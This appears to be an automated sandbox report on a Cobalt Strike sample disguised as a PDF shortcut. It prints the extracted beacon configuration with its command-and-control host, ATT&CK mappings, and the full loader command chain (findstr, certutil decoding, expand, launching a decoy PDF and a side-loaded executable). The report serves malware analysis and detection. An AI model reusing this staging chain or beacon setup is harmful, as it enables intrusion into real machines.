cobaltstrike | 1fcd696c75e9dea9ab04213e2a7925aa18198e30afd99cf3bd0eb01b6ebcbc88

Analysis

max time kernel
139s
max time network
126s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
China_paper.pdf.lnk
Size 1.7MB
Sample240719-ppn5ba1dpn
SHA256 b7afa2662f99edcda4be8539fcc6149176f3cb241a724932cadda4088ca695ea
MD5 b04d484d1e1d793b04af2a5fb88a8a57
SHA1 e25ca637223300856f721d2d894589644069e2f8
SHA512 93092c56d381c6ae2f1526c91f1221824f6a135ef9515e37f64c483a265dd2a38155c966582d055a57e19a92ca38d4b4ae71fdd50edb079af5b279be96d9a3aa
SSDEEP 24576:5E4WChcawAdDbiNyhMgM/tyBMZBRKqOr8UHJt7aOefLDDlzWCFQYGsncMs03bdkA:C
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

cobaltstrike 100000000 backdoor execution link pdf trojan

Malware Config

Extracted

Family

cobaltstrike

Botnet

100000000

http://upserver.updateservice.store:443/common.html

Attributes

access_type
512
beacon_type
2048
host
upserver.updateservice.store,/common.html
http_header1
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAcAAAAAAAAACwAAAAMAAAACAAAAA2x1PQAAAAYAAAAGQ29va2llAAAACQAAAAt2ZXJpZnk9dHJ1ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAvQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAAAAHAAAAAQAAAAMAAAADAAAAAgAAAAhhdXRob3JzPQAAAAQAAAAHAAAAAAAAAAMAAAACAAAADl9fc2Vzc2lvbl9faWQ9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
jitter
9472
polling_time
58666
port_number
443
sc_process32
%windir%\syswow64\svchost.exe
sc_process64
%windir%\sysnative\svchost.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdQ5nVpJ13O9CwiQRtLOdTAwGg6oj4mvtVqZvCbSy9YyU3ngZSDBgmWjSMwrTqMvvKUr5RvigK1N00xTGT4LVtDESUaUvyGU79G24yPaF5rUOJjnAIRazosjB87DvXbI6k45HQsVyZD7wgEXnKFmv3E0Tk9ti5G0eVOKL5tqdS5QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
6.1158912e+08
unknown2
AAAABAAAAAIAAAJYAAAAAwAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/r-arrow
user_agent
Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)
watermark
100000000

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4844	pfexec.exe

Loads dropped DLL 1 IoCs

pid	Process
4844	pfexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	expand.exe

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

resource	yara_rule
behavioral4/files/0x00070000000234f2-17.dat	pdf_with_link_action

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1836	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe
1836	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3992 wrote to memory of 2356	3992	cmd.exe	85
PID 3992 wrote to memory of 2356	3992	cmd.exe	85
PID 3436 wrote to memory of 1644	3436	explorer.exe	88
PID 3436 wrote to memory of 1644	3436	explorer.exe	88
PID 1644 wrote to memory of 1092	1644	WScript.exe	89
PID 1644 wrote to memory of 1092	1644	WScript.exe	89
PID 1092 wrote to memory of 1996	1092	cmd.exe	92
PID 1092 wrote to memory of 1996	1092	cmd.exe	92
PID 1092 wrote to memory of 2936	1092	cmd.exe	93
PID 1092 wrote to memory of 2936	1092	cmd.exe	93
PID 1092 wrote to memory of 4888	1092	cmd.exe	95
PID 1092 wrote to memory of 4888	1092	cmd.exe	95
PID 1092 wrote to memory of 1836	1092	cmd.exe	96
PID 1092 wrote to memory of 1836	1092	cmd.exe	96
PID 1092 wrote to memory of 1836	1092	cmd.exe	96
PID 1092 wrote to memory of 4844	1092	cmd.exe	98
PID 1092 wrote to memory of 4844	1092	cmd.exe	98
PID 1092 wrote to memory of 4844	1092	cmd.exe	98
PID 1836 wrote to memory of 3640	1836	AcroRd32.exe	99
PID 1836 wrote to memory of 3640	1836	AcroRd32.exe	99
PID 1836 wrote to memory of 3640	1836	AcroRd32.exe	99
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 1136	3640	RdrCEF.exe	102
PID 3640 wrote to memory of 4192	3640	RdrCEF.exe	103
PID 3640 wrote to memory of 4192	3640	RdrCEF.exe	103

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\China_paper.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" __MACOS\_params2.cat.js
  2⤵
  PID:2356

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\__MACOS\_params2.cat.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c findstr 4d534346 C:\Users\Admin\AppData\Roaming\fNXCtU.tmp > C:\Users\Admin\AppData\Roaming\Yvihwh.tmp&for /r c:\windows\system32\ %i in (*ertu*.exe) do %i -decodehex C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp&expand -F:* C:\Users\Admin\AppData\Roaming\DWlCNX.tmp C:\Users\Admin\AppData\Roaming\&start C:\Users\Admin\AppData\Roaming\China_paper.pdf&start C:\Users\Admin\AppData\Roaming\pfexec.exe&del C:\Users\Admin\AppData\Roaming\fNXCtU.tmp C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Windows\system32\findstr.exe
      findstr 4d534346 C:\Users\Admin\AppData\Roaming\fNXCtU.tmp
      4⤵
      PID:1996
  - - \??\c:\windows\system32\certutil.exe
      c:\windows\system32\certutil.exe -decodehex C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp
      4⤵
      PID:2936
  - - C:\Windows\system32\expand.exe
      expand -F:* C:\Users\Admin\AppData\Roaming\DWlCNX.tmp C:\Users\Admin\AppData\Roaming\
      4⤵
      Drops file in Windows directory
      PID:4888
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\China_paper.pdf"
      4⤵
      Checks processor information in registry
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1836
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3640
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D52E15130A963ADF848A9490F02B0296 --mojo-platform-channel-handle=1732 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:1136
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=F5E66F981EDCCF4219260BBD557BD313 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=F5E66F981EDCCF4219260BBD557BD313 --renderer-client-id=2 --mojo-platform-channel-handle=1756 --allow-no-sandbox-job /prefetch:1
        6⤵
        
        PID:4192
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9AE4D1CD24941C5F57306A527AC9C932 --mojo-platform-channel-handle=2300 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:2732
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=49A582AEFA211935B44A7D2D806A8D64 --mojo-platform-channel-handle=1796 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:380
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=69406A98248E392FEA7C49EFDBEB3857 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=69406A98248E392FEA7C49EFDBEB3857 --renderer-client-id=6 --mojo-platform-channel-handle=1952 --allow-no-sandbox-job /prefetch:1
        6⤵
        
        PID:4252
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=563ED3DC844499DE99FC4C78A61F0389 --mojo-platform-channel-handle=1728 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:3800
  - - C:\Users\Admin\AppData\Roaming\pfexec.exe
      C:\Users\Admin\AppData\Roaming\pfexec.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 92ae12862a9b9a69af0b24d0278ecd4fdea5dcc9a3367935837acaa155cd1b6a
MD5 715bf6e7886d8d01e8d9f0686c0a667c
SHA1 9f7ee06596641ff2af9e09bbb98314b1ffa2f35c
SHA512 7c2fa06aa87ad4125a80e4032907f398bb3c10b5fdeab0dca3f32ceee4f03a876a09beffe360563830525b137c089fa9cbee19ebcf3477ed86ede6ee2323424c
SSDEEP 384:yeKdThatELJ8SWvDTGJCesZsLglKhubvGZsLRZh+vS4:x+elZsLQCZsL3hUS4
MD5 SHA1 SHA512 SSDEEP

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 36KB
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
SSDEEP 24:TLiXlzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Zs3tGl:TqlmFTIF3XmHjBoGGR+jMz+LhT
MD5 SHA1 SHA512 SSDEEP

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 56KB
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
SSDEEP 192:wedRBvVrThe4p4/KhTB4p4CitZtkZsLRGVDbw6H3ph+v3YQa9:weZdThkKhBvkZsLRGlzh+vS9
MD5 SHA1 SHA512 SSDEEP

Submit Download

China_paper.pdf

Path C:\Users\Admin\AppData\Roaming\China_paper.pdf
Size 134KB
SHA256 aa880c609f5cbac2b45977359d1fd87f8292bc23e262c7a71530ae28948bdb49
MD5 cf36324614bf0c7d2650ea0e25506aaf
SHA1 f7c36d63cdc4f7467ae20b03f358c0f4ad602814
SHA512 bc86ce76d7c89c97f920cd5411b9471b1f6a95806e6a9baa86e25fe73e12ff8a46b12976877bee337dd1577b67a224d229be3adda3385407fc1001756783b293
SSDEEP 3072:M6EODLaxuwkwfcC/wGASrvn+Pbi+cdnACQQhBWIZ:hEqIuQcC/wtjRCQwZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome_elf.dll

Path C:\Users\Admin\AppData\Roaming\chrome_elf.dll
Size 221KB
SHA256 fb6b0ff2da14b6447b21f0fc4ae73724667c8f6d296d707f18a28633b4e59ed0
MD5 4f265905d3adad5c9e0d0aa250849404
SHA1 c147c8646a34ae54e4bdbfaffdf44848b78c209f
SHA512 adddbcf8e5b9bc64fe6663911854d37f8dd586cef2dac8749c14faa554e74943021fa340624f49cf8854f70eb159faa9a12570d04d1ffe9686a1abebc8909398
